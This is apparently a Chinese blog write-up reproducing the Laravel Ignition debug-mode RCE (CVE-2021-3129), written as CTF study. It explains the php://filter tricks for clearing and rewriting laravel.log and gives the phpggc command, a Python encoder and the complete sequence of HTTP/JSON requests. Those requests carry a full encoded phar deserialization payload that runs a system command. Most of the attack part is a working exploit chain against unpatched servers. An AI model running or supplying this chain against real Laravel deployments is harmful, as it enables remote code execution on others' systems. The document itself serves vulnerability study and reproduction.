Laravel Debug mode RCE(CVE-2021-3129)漏洞复现
前言
这个之前在VNCTF2021的时候遇到过,当时自己只是拿着脚本直接打,并没有对于原理好好了解一下。最近国赛,还有i春秋都出现了以yii和thinkphp为背景的关于日志写phar来实现phar反序列化的这种题目,所以就来好好地复现和学习一下这个RCE。中间也是踩了很多坑,在@Jiang师傅的帮助下复现成功,也是加深了理解。
参考链接
Laravel Debug mode RCE(CVE-2021-3129)分析复现
一定一定一定把这篇文章中讲到的都仔细地领悟一下,踩的很多坑都是因为看这篇文章的时候比较急躁,很多细节没有注意到导致的。
复现
具体代码层上的就不分析了,很多文章也都说过了。简单来说就可以总结成这2行代码:
$output = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $output);
具体攻击就是四步,详情参考上面的文章。
第一步清空日志,利用convert.base64-decode
过滤器会将一些非base64字符给过滤掉后再进行decode
的特性。但是会出现一些问题,利用这个php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
的话就不会出现问题,convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8
得到的全部都是非base64字符了,可以成功清空。
第二步就是利用phpggc生成一下,然后经过一定的处理得到要写入的payload。然后就是直接viewFile那里请求的话,log里就会有了我们的payload,而且算是2个+1部分,2个完整的payload,然后是payload的最前面的一部分。
第三步就是想办法把log文件里面的内容弄成phar文件的内容了。是这样:
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
这一步有三个过滤器,可以说是每个过滤器都有可能会出错,所以需要进行一定的修正。
第四步就没啥好说的了,直接phar反序列化:
phar://../storage/logs/laravel.log
这四步可以说大部分文章都写得很清楚,我一开始得思路也是这样,然后因为对于细节得把握不够,所以就出现了许多得问题。
踩坑
能踩得坑主要还是在第二步和第三步上。
第二步的踩坑
第二步就是生成payload会有问题。比如我要执行dir命令(因为我是本地复现,在windows上)。
先phpggc拿链子:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system dir --phar phar -o php://output | base64 -w0
然后python处理一下
import base64
s="PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQq/AgAAAgAAABEAAAABAAAAAABoAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czozOiJkaXIiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czozOiJkaXIiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAACoUrNgBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAACoUrNgBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN0mU/NJc2v/6np2yRnR/eEkWAXmW0CAAAAR0JNQg=="
print(''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper())
得到可以用的payload。
第三步的踩坑
三个过滤器:
write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/
第一个过滤器是convert.quoted-printable-decode
,这个的坑点说白了就是=号的匹配。具体看一下日志是这样:
相当于=xx
这样的将会被decode为一个字符,如果遇到等于号匹配不到的,就会出错。根据上面提到的,直接写入的时候log里有2部分完整的payload和payload的最前面的一部分:
可以看到这里是正好匹配好的,所以目前我们的第一个过滤器是不会出错的。
可以尝试一下进行第三步:
iconv stream filter ("utf-16le"=>"utf-8"): invalid multibyte sequence
报了iconv的错,也就是第二个过滤器convert.iconv.utf-16le.utf-8
的错,这个过滤器的报错很容易理解,它是把两个字符变成一个字符:
<?php
$content=file_get_contents($_GET[0]);
echo $content;
//111.txt
11
因此如果不是偶数个字符的话,就会报错。因此我这里laravel的log在iconv爆了错,说明经过convert.quoted-printable-decode
之后,日志中的字符数正好是奇数个,因此会报错。这时候我们需要想办法改一下在进行iconv的时候日志中字符的数量。而且需要在payload的开头进行更改。因为我们的payload是2个完整加一部分,如果加在后面,增加的只是2个完整,增加偶数个,并不改变奇偶性,所以需要加在最前面。但是这时候可能第一反应是加一个A,这样就可以为偶数个,但是正确吗?
不正确,如果只加一个A的话,确实不会iconv报错了,但是printable又会报错了。看一下日志:
.php(75): file_get_contents('A=50=00=44=00=3...')
没错,本来是=50=00=44=00=39
正好可以匹配上,加了一个A之后会挤掉了最后的9,这样最后是=3
了,printable不能正好匹配了。因此改进的办法就很简单了,需要加三个A。
加了三个A之后,是不是就可以了呢?我现在讲解的这种情况感觉可能是复现的时候遇到的难得情况了,一般得情况都会比这种简单。实际上加了三个A,还是iconv过不去。难道不是偶数个了吗?还真不是。
如果加了三个A,这里就会变成这样AAA=50=00=44=00
和一开始这种情况(这时候是奇数个)=50=00=44=00=39
相比,进行printable过滤器处理之后,一开始是5个字符,现在是7个字符,相当于增加得是2个字符,奇偶性还是没变。所以这应该就是能遇到的最独特的情况了,接下来单纯得想办法在前面或者后面增加A应该都不太行,解决办法就是额外再请求一条AA,让一开始payload不加A的时候就是偶数个,而不是奇数个:
POST /index.php/_ignition/execute-solution HTTP/1.1
Host: www.laravel8221.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: laravel_session=eyJpdiI6IkJEZHczcUpzK1JXUWRmcEd3bDBpalE9PSIsInZhbHVlIjoid0JmeG9jL0pBU3c1SjB0Y0hsT1JGbEFmSDB4UU84S3pVakNwNkZVeHJyaGpudjg2Q1krelJkL0k0V3dsQ2FiL0w2d1ZSQWVZWjRNS1YydXFDd2U4ekdBOGFWT3VNK3BjSGJZZVZpUmFwN1BNYi8xeFlpL3JFWmxpcjN1VHF1eWUiLCJtYWMiOiJiNzJiNDg0NjBmNDkzODc4YTM5NDAxYjcwNzJhMDA5Y2ZjMmYwNDYwZWZiM2ZlYWFlNTRkMGJkMjUzN2Q2YTEwIn0%3D
Connection: close
Content-Type: application/json
Content-Length: 133
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"usesname","viewFile":"AA"}}
这时候,即使不加前缀AA,printable和iconv那2个过滤器都是可以过了的。但是还有一个问题就是base64-decode这个过滤器。
但是这里出现了两次PAYLOAD,我们可以在PAYLOAD后面添加一个字符,使得utf-16转成utf-8时总有一个PAYLOAD能被转换出来。
所以还必须要加字符,把一个payload吃掉。我在试的时候觉得可能加在前面更好,因为还是这里:
.php(75): file_get_contents('=50=00=44=00=39...')
这里的=50=00=44=00
在经过前两个过滤器后会产生base64字符PD
。所以我这里想办法把这里给处理掉,那就加三个A,成功实现phar反序列化:
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"usesname","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"usesname","viewFile":"AA"}}
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"usesname","viewFile":"AAA=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=2F=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6F=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=7A=00=4F=00=69=00=4A=00=6B=00=61=00=58=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=32=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=69=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=7A=00=4F=00=69=00=4A=00=6B=00=61=00=58=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=32=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=69=00=4F=00=33=00=31=00=39=00=66=00=51=00=55=00=41=00=41=00=41=00=42=00=6B=00=64=00=57=00=31=00=74=00=65=00=51=00=51=00=41=00=41=00=41=00=43=00=6F=00=55=00=72=00=4E=00=67=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=43=00=6F=00=55=00=72=00=4E=00=67=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=30=00=5A=00=58=00=4E=00=30=00=6D=00=55=00=2F=00=4E=00=4A=00=63=00=32=00=76=00=2F=00=36=00=6E=00=70=00=32=00=79=00=52=00=6E=00=52=00=2F=00=65=00=45=00=6B=00=57=00=41=00=58=00=6D=00=57=00=30=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00"}}
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"usesname","viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"usesname","viewFile":"phar://../storage/logs/laravel.log"}}
成功执行dir命令:
所以在不同的环境下,也只是payload的更改罢了。